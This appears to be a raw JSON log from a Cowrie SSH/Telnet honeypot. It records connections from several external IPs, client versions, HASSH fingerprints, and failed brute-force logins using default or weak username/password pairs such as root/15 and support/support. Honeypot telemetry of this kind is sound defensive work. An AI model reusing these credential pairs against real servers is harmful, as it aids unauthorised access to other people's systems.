{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":37257,"dst_ip":"10.17.0.5","dst_port":22,"session":"10687fc2b7a3","protocol":"ssh","message":"New connection: 170.80.65.140:37257 (10.17.0.5:22) [session: 10687fc2b7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:16.576483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:16.580692Z","src_ip":"170.80.65.140","session":"10687fc2b7a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:16.701867Z","src_ip":"165.154.137.186","session":"a9d27b1d816d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:16.705798Z","src_ip":"170.80.65.140","session":"10687fc2b7a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"one","password":"password","message":"login attempt [one/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:17.231224Z","src_ip":"170.80.65.140","session":"10687fc2b7a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:18.358175Z","src_ip":"170.80.65.140","session":"10687fc2b7a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45556,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb876da7f359","protocol":"ssh","message":"New connection: 165.154.137.186:45556 (10.17.0.5:22) [session: eb876da7f359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:21.902931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:21.907421Z","src_ip":"165.154.137.186","session":"eb876da7f359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:22.151738Z","src_ip":"165.154.137.186","session":"eb876da7f359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:22.993966Z","src_ip":"165.154.137.186","session":"eb876da7f359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:24.241394Z","src_ip":"165.154.137.186","session":"eb876da7f359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45844,"dst_ip":"10.17.0.5","dst_port":22,"session":"16704b517c21","protocol":"ssh","message":"New connection: 165.154.137.186:45844 (10.17.0.5:22) [session: 16704b517c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:38.641882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:38.646610Z","src_ip":"165.154.137.186","session":"16704b517c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:38.906255Z","src_ip":"165.154.137.186","session":"16704b517c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:39.685599Z","src_ip":"165.154.137.186","session":"16704b517c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:40.947829Z","src_ip":"165.154.137.186","session":"16704b517c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33758,"dst_ip":"159.203.135.109","dst_port":23,"session":"a30666f049bb","protocol":"telnet","message":"New connection: 128.199.8.54:33758 (159.203.135.109:23) [session: a30666f049bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:41.868892Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":46622,"dst_ip":"10.17.0.5","dst_port":22,"session":"b094d307fd72","protocol":"ssh","message":"New connection: 38.148.249.2:46622 (10.17.0.5:22) [session: b094d307fd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:55.912383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:55.916459Z","src_ip":"38.148.249.2","session":"b094d307fd72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:55.985543Z","src_ip":"38.148.249.2","session":"b094d307fd72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15","message":"login attempt [root/15] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:56.296095Z","src_ip":"38.148.249.2","session":"b094d307fd72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:45:57.366705Z","src_ip":"38.148.249.2","session":"b094d307fd72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35186,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd521f956735","protocol":"ssh","message":"New connection: 165.154.137.186:35186 (10.17.0.5:22) [session: cd521f956735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:02.745344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:02.760427Z","src_ip":"165.154.137.186","session":"cd521f956735","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:03.031352Z","src_ip":"165.154.137.186","session":"cd521f956735","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":58452,"dst_ip":"10.17.0.5","dst_port":23,"session":"41ec886e7d4d","protocol":"telnet","message":"New connection: 94.23.66.112:58452 (10.17.0.5:23) [session: 41ec886e7d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:03.411115Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:03.830070Z","src_ip":"165.154.137.186","session":"cd521f956735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:05.095043Z","src_ip":"165.154.137.186","session":"cd521f956735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.67490792274475,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:20.543669Z","src_ip":"128.199.8.54","session":"a30666f049bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46428,"dst_ip":"159.203.135.109","dst_port":23,"session":"4133ce57d90d","protocol":"telnet","message":"New connection: 128.199.8.54:46428 (159.203.135.109:23) [session: 4133ce57d90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:23.111088Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":39618,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b79f480f9c7","protocol":"ssh","message":"New connection: 77.94.47.83:39618 (10.17.0.5:22) [session: 8b79f480f9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:32.064262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:32.068562Z","src_ip":"77.94.47.83","session":"8b79f480f9c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:32.174965Z","src_ip":"77.94.47.83","session":"8b79f480f9c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"300385","message":"login attempt [root/300385] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:32.493560Z","src_ip":"77.94.47.83","session":"8b79f480f9c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35636,"dst_ip":"10.17.0.5","dst_port":22,"session":"f12af4419eb5","protocol":"ssh","message":"New connection: 165.154.137.186:35636 (10.17.0.5:22) [session: f12af4419eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:33.199661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:33.203388Z","src_ip":"165.154.137.186","session":"f12af4419eb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:33.460659Z","src_ip":"165.154.137.186","session":"f12af4419eb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:33.601264Z","src_ip":"77.94.47.83","session":"8b79f480f9c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:34.232983Z","src_ip":"165.154.137.186","session":"f12af4419eb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:35.496634Z","src_ip":"165.154.137.186","session":"f12af4419eb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":45776,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dd5b1dba660","protocol":"ssh","message":"New connection: 103.15.222.183:45776 (159.203.135.109:22) [session: 7dd5b1dba660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:40.806801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:40.812721Z","src_ip":"103.15.222.183","session":"7dd5b1dba660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:41.063442Z","src_ip":"103.15.222.183","session":"7dd5b1dba660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19101982","message":"login attempt [root/19101982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:41.816184Z","src_ip":"103.15.222.183","session":"7dd5b1dba660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":40430,"dst_ip":"10.17.0.5","dst_port":22,"session":"91ba39a3c3dc","protocol":"ssh","message":"New connection: 43.153.12.68:40430 (10.17.0.5:22) [session: 91ba39a3c3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:41.821734Z"}
